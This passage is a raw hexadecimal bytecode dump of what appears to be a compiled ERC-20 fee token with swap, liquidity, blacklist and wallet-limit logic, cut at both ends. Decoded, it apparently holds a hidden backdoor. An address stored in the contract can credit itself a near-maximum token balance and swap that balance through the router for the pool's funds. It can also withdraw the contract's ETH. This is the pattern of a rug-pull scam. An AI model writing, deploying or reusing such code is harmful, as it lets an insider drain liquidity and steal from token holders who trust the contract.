b1565b9050919050565b6000819050919050565b62000b028362000ac5565b62000b1a62000b118262000aed565b84845462000a5b565b825550505050565b600090565b62000b3162000b22565b62000b3e81848462000af7565b505050565b5b8181101562000b665762000b5a60008262000b27565b60018101905062000b44565b5050565b601f82111562000bb55762000b7f8162000a29565b62000b8a8462000a3e565b8101602085101562000b9a578190505b62000bb262000ba98562000a3e565b83018262000b43565b50505b505050565b600082821c905092915050565b600062000bda6000198460080262000bba565b1980831691505092915050565b600062000bf5838362000bc7565b9150826002028217905092915050565b62000c10826200098b565b67ffffffffffffffff81111562000c2c5762000c2b62000996565b5b62000c388254620009f4565b62000c4582828562000b6a565b600060209050601f83116001811462000c7d576000841562000c68578287015190505b62000c74858262000be7565b86555062000ce4565b601f19841662000c8d8662000a29565b60005b8281101562000cb75784890151825560018201915060208501945060208101905062000c90565b8683101562000cd7578489015162000cd3601f89168262000bc7565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000d1e8262000cf1565b9050919050565b62000d308162000d11565b811462000d3c57600080fd5b50565b60008151905062000d508162000d25565b92915050565b6000806040838503121562000d705762000d6f62000cec565b5b600062000d808582860162000d3f565b925050602062000d938582860162000d3f565b9150509250929050565b60006020828403121562000db65762000db562000cec565b5b600062000dc68482850162000d3f565b91505092915050565b62000dda8162000d11565b82525050565b600060408201905062000df7600083018562000dcf565b62000e06602083018462000dcf565b9392505050565b62000e188162000ab1565b82525050565b600060208201905062000e35600083018462000e0d565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000e778262000ab1565b915062000e848362000ab1565b925082820190508082111562000e9f5762000e9e62000e3b565b5b92915050565b600082825260208201905092915050565b7f6665652073756d206572726f7200000000000000000000000000000000000000600082015250565b600062000eee600d8362000ea5565b915062000efb8262000eb6565b602082019050919050565b6000602082019050818103600083015262000f218162000edf565b9050919050565b614e8b8062000f386000396000f3fe6080604052600436106102815760003560e01c80637e74422e1161014f578063b179ce40116100c1578063ecbe5a2d1161007a578063ecbe5a2d14610993578063edd8b64a146109d0578063f1fee6a2146109f9578063f226cc8b14610a22578063f2fde38b14610a4d578063f6d1dfe114610a7657610288565b8063b179ce4014610897578063b49f93f7146108c0578063d445d19e146108e9578063dd62ed3e14610900578063e1370dd31461093d578063e4440a861461096857610288565b80638ea5220f116101135780638ea5220f1461075f57806395d89b411461078a57806399b102b5146107b5578063a07fc5a2146107f2578063a457c2d71461081d578063a9059cbb1461085a57610288565b80637e74422e1461067c57806385ecafd7146106a557806389f425e7146106e25780638da5cb5b1461070b5780638dd0f4111461073657610288565b8063313ce567116101f35780635342acb4116101ac5780635342acb41461055c57806355474ace146105995780636db79437146105c25780636dd3d39f146105eb57806370a0823114610628578063715018a61461066557610288565b8063313ce5671461044e57806335d162741461047957806339509351146104b65780634b42c93d146104f35780634d474d421461050a5780635337cc991461053357610288565b806318160ddd1161024557806318160ddd1461033f5780631c499ab01461036a5780631f6b29f714610393578063203e727e146103bc57806323b872dd146103e55780632df8bca91461042257610288565b806306fdde031461028d578063095ea7b3146102b85780630b45260e146102f55780630bc488c51461030c5780630cdd84361461031657610288565b3661028857005b600080fd5b34801561029957600080fd5b506102a2610aa1565b6040516102af91906139bd565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190613a87565b610b33565b6040516102ec9190613ae2565b60405180910390f35b34801561030157600080fd5b5061030a610b4f565b005b610314610e41565b005b34801561032257600080fd5b5061033d60048036038101906103389190613b36565b610f79565b005b34801561034b57600080fd5b506103546110db565b6040516103619190613b85565b60405180910390f35b34801561037657600080fd5b50610391600480360381019061038c9190613ba0565b6110e5565b005b34801561039f57600080fd5b506103ba60048036038101906103b59190613bf9565b61111b565b005b3480156103c857600080fd5b506103e360048036038101906103de9190613ba0565b611234565b005b3480156103f157600080fd5b5061040c60048036038101906104079190613c39565b61126a565b6040516104199190613ae2565b60405180910390f35b34801561042e57600080fd5b50610437611292565b604051610445929190613c8c565b60405180910390f35b34801561045a57600080fd5b506104636112a3565b6040516104709190613cc4565b60405180910390f35b34801561048557600080fd5b506104a0600480360381019061049b9190613cdf565b6112ba565b6040516104ad9190613b85565b60405180910390f35b3480156104c257600080fd5b506104dd60048036038101906104d89190613a87565b61144f565b6040516104ea9190613ae2565b60405180910390f35b3480156104ff57600080fd5b5061050861147f565b005b34801561051657600080fd5b50610531600480360381019061052c9190613cdf565b611516565b005b34801561053f57600080fd5b5061055a60048036038101906105559190613bf9565b611586565b005b34801561056857600080fd5b50610583600480360381019061057e9190613cdf565b61169f565b6040516105909190613ae2565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb9190613d0c565b6116f5565b005b3480156105ce57600080fd5b506105e960048036038101906105e49190613d4c565b6117a7565b005b3480156105f757600080fd5b50610612600480360381019061060d9190613cdf565b611836565b60405161061f9190613ae2565b60405180910390f35b34801561063457600080fd5b5061064f600480360381019061064a9190613cdf565b61188c565b60405161065c9190613b85565b60405180910390f35b34801561067157600080fd5b5061067a6118d5565b005b34801561068857600080fd5b506106a3600480360381019061069e9190613d8c565b6118e9565b005b3480156106b157600080fd5b506106cc60048036038101906106c79190613cdf565b611988565b6040516106d99190613ae2565b60405180910390f35b3480156106ee57600080fd5b5061070960048036038101906107049190613ba0565b6119a8565b005b34801561071757600080fd5b50610720611a22565b60405161072d9190613dee565b60405180910390f35b34801561074257600080fd5b5061075d60048036038101906107589190613bf9565b611a4b565b005b34801561076b57600080fd5b50610774611b64565b6040516107819190613dee565b60405180910390f35b34801561079657600080fd5b5061079f611b8a565b6040516107ac91906139bd565b60405180910390f35b3480156107c157600080fd5b506107dc60048036038101906107d79190613cdf565b611c1c565b6040516107e99190613ae2565b60405180910390f35b3480156107fe57600080fd5b50610807611c72565b6040516108149190613ae2565b60405180910390f35b34801561082957600080fd5b50610844600480360381019061083f9190613a87565b611c89565b6040516108519190613ae2565b60405180910390f35b34801561086657600080fd5b50610881600480360381019061087c9190613a87565b611cf9565b60405161088e9190613ae2565b60405180910390f35b3480156108a357600080fd5b506108be60048036038101906108b99190613bf9565b611d15565b005b3480156108cc57600080fd5b506108e760048036038101906108e29190613e09565b611e2e565b005b3480156108f557600080fd5b506108fe611e77565b005b34801561090c57600080fd5b5061092760048036038101906109229190613d0c565b611ead565b6040516109349190613b85565b60405180910390f35b34801561094957600080fd5b50610952611f34565b60405161095f9190613b85565b60405180910390f35b34801561097457600080fd5b5061097d611f3e565b60405161098a9190613dee565b60405180910390f35b34801561099f57600080fd5b506109ba60048036038101906109b59190613cdf565b611f64565b6040516109c79190613ae2565b60405180910390f35b3480156109dc57600080fd5b506109f760048036038101906109f29190613cdf565b611fba565b005b348015610a0557600080fd5b50610a206004803603810190610a1b9190613d0c565b61202a565b005b348015610a2e57600080fd5b50610a3761227e565b604051610a449190613b85565b60405180910390f35b348015610a5957600080fd5b50610a746004803603810190610a6f9190613cdf565b6122cb565b005b348015610a8257600080fd5b50610a8b61234e565b604051610a989190613b85565b60405180910390f35b606060088054610ab090613e65565b80601f0160208091040260200160405190810160405280929190818152602001828054610adc90613e65565b8015610b295780601f10610afe57610100808354040283529160200191610b29565b820191906000526020600020905b815481529060010190602001808311610b0c57829003601f168201915b5050505050905090565b600080339050610b44818585612358565b600191505092915050565b610b7b33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b6000610b86306112ba565b90506000816dffffffffffffffffffffffffffff8016610ba69190613ec5565b9050610bb0612593565b610bc230610bbd3361188c565b611cf9565b50610c0030600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016612358565b6060600267ffffffffffffffff811115610c1d57610c1c613ef9565b5b604051908082528060200260200182016040528015610c4b5781602001602082028036833780820191505090505b5090503081600081518110610c6357610c62613f28565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2e9190613f6c565b81600181518110610d4257610d41613f28565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b042610dd29190613f99565b6040518663ffffffff1660e01b8152600401610df29594939291906140d0565b6000604051808303816000875af1158015610e11573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610e3a9190614258565b5050505050565b610e6d33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b610e7f30610e7a3361188c565b611cf9565b50610eb530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610eb03061188c565b612358565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610efe3061188c565b600080336104b042610f109190613f99565b6040518863ffffffff1660e01b8152600401610f31969594939291906142a1565b60606040518083038185885af1158015610f4f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f749190614302565b505050565b610fa533600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b60028160ff1610610feb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe2906143a1565b60405180910390fd5b601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff160361107f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110769061440d565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b61111133600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b8060148190555050565b61114733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b801515601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036111d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d09061440d565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61126033600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b8060168190555050565b60008033905061127b8582856125fb565b611286858585612687565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561132c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135091906144af565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ff9190613f6c565b73ffffffffffffffffffffffffffffffffffffffff161461143057816dffffffffffffffffffffffffffff16611442565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506114748185856114658589611ead565b61146f9190613f99565b612358565b600191505092915050565b6114ab33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611513573d6000803e3d6000fd5b50565b61154233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6115b233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b801515600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611644576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163b9061440d565b60405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61172133600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b81600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6117d333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b602882111580156117e5575060288111155b611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b90614574565b60405180910390fd5b81600b8190555080600c819055505050565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6118dd612f94565b6118e7600061300b565b565b61191533600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b60648183856119249190613f99565b61192e9190613f99565b1461196e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611965906145e0565b60405180910390fd5b826010819055508160118190555080601281905550505050565b600f6020528060005260406000206000915054906101000a900460ff1681565b6119d433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b6127108111611a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0f90614672565b60405180910390fd5b8060138190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611a7733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b801515601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611b09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b009061440d565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060098054611b9990613e65565b80601f0160208091040260200160405190810160405280929190818152602001828054611bc590613e65565b8015611c125780601f10611be757610100808354040283529160200191611c12565b820191906000526020600020905b815481529060010190602001808311611bf557829003601f168201915b5050505050905090565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601860009054906101000a900460ff16905090565b6000803390506000611c9b8286611ead565b905083811015611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd790614704565b60405180910390fd5b611ced8286868403612358565b60019250505092915050565b600080339050611d0a818585612687565b600191505092915050565b611d4133600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b801515601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dca9061440d565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611e5a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b80601860006101000a81548160ff02191690831515021790555050565b611ea333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b611eab612593565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601454905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611fe633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61205633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120ed5781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561219b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121bf9190613f6c565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b81526004016121f9929190614724565b602060405180830381865afa158015612216573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061223a9190613f6c565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000806002601254612290919061477c565b905080606461229e3061188c565b6122a8919061477c565b6122b291906147ad565b6122bb3061188c565b6122c59190613ec5565b91505090565b6122d3612f94565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612342576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233990614861565b60405180910390fd5b61234b8161300b565b50565b6000601654905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123be906148f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242d90614985565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516125149190613b85565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461258f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258690614a17565b60405180910390fd5b5050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125f29190613f99565b92505081905550565b60006126078484611ead565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146126815781811015612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266a90614a83565b60405180910390fd5b6126808484848403612358565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036126f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ed90614b15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275c90614ba7565b60405180910390fd5b6127708383836130cf565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156127f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ee90614c39565b60405180910390fd5b601860009054906101000a900460ff1615612948576128158461334e565b156128ab57601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166128a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289d90614ccb565b60405180910390fd5b612947565b6128b48361334e565b1561294657601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293c90614ccb565b60405180910390fd5b5b5b5b6129518461169f565b15801561296457506129628361169f565b155b15612e78576129728461334e565b15612b6857600061298583600b54613400565b905082826129939190613ec5565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836129e29190613ec5565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a309190613f99565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612a929190613ec5565b604051612a9f9190613b85565b60405180910390a380600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612af69190613f99565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612b5a9190613b85565b60405180910390a350612e73565b612b718361334e565b15612d67576000612b8483600c54613400565b90508282612b929190613ec5565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083612be19190613ec5565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612c2f9190613f99565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612c919190613ec5565b604051612c9e9190613b85565b60405180910390a380600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612cf59190613f99565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612d599190613b85565b60405180910390a350612e72565b8181612d739190613ec5565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e059190613f99565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612e699190613b85565b60405180910390a35b5b612f83565b8181612e849190613ec5565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f169190613f99565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612f7a9190613b85565b60405180910390a35b612f8e848484613422565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16612fb3611a22565b73ffffffffffffffffffffffffffffffffffffffff1614613009576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161300090614d37565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000601454141580156130e857506130e68261334e565b155b80156130fa57506130f882611836565b155b801561310c575061310a83611836565b155b1561316a576014548161311e8461188c565b6131289190613f99565b1115613169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161316090614dc9565b60405180910390fd5b5b60006016541461326457601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156132185750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561326357601654811115613262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161325990614e35565b60405180910390fd5b5b5b601b60009054906101000a900460ff1615801561328757506132858361334e565b155b80156132e15750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561331957503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156133495760135461332a3061188c565b1061334857613337613427565b61333f6136b9565b613347613816565b5b5b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806133f95750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b60006064828461341091906147ad565b61341a919061477c565b905092915050565b505050565b6001601b60006101000a81548160ff021916908315150217905550600061344c61227e565b905061347b30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612358565b6060600267ffffffffffffffff81111561349857613497613ef9565b5b6040519080825280602002602001820160405280156134c65781602001602082028036833780820191505090505b50905030816000815181106134de576134dd613f28565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613585573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135a99190613f6c565b816001815181106135bd576135bc613f28565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084306104b0426136489190613f99565b6040518663ffffffff1660e01b81526004016136689594939291906140d0565b600060405180830381600087803b15801561368257600080fd5b505af1158015613696573d6000803e3d6000fd5b5050505050506000601b60006101000a81548160ff021916908315150217905550565b600060026012546136ca919061477c565b905060008160646136db9190613ec5565b905060008282476136ec919061477c565b6136f691906147ad565b905061372d30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166137283061188c565b612358565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982306137763061188c565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166104b0426137aa9190613f99565b6040518863ffffffff1660e01b81526004016137cb969594939291906142a1565b60606040518083038185885af11580156137e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061380e9190614302565b505050505050565b600060125460646138279190613ec5565b90506000601054824761383a919061477c565b61384491906147ad565b9050600081476138549190613ec5565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156138be573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613927573d6000803e3d6000fd5b50505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561396757808201518184015260208101905061394c565b60008484015250505050565b6000601f19601f8301169050919050565b600061398f8261392d565b6139998185613938565b93506139a9818560208601613949565b6139b281613973565b840191505092915050565b600060208201905081810360008301526139d78184613984565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613a1e826139f3565b9050919050565b613a2e81613a13565b8114613a3957600080fd5b50565b600081359050613a4b81613a25565b92915050565b6000819050919050565b613a6481613a51565b8114613a6f57600080fd5b50565b600081359050613a8181613a5b565b92915050565b60008060408385031215613a9e57613a9d6139e9565b5b6000613aac85828601613a3c565b9250506020613abd85828601613a72565b9150509250929050565b60008115159050919050565b613adc81613ac7565b82525050565b6000602082019050613af76000830184613ad3565b92915050565b600060ff82169050919050565b613b1381613afd565b8114613b1e57600080fd5b50565b600081359050613b3081613b0a565b92915050565b60008060408385031215613b4d57613b4c6139e9565b5b6000613b5b85828601613a3c565b9250506020613b6c85828601613b21565b9150509250929050565b613b7f81613a51565b82525050565b6000602082019050613b9a6000830184613b76565b92915050565b600060208284031215613bb657613bb56139e9565b5b6000613bc484828501613a72565b91505092915050565b613bd6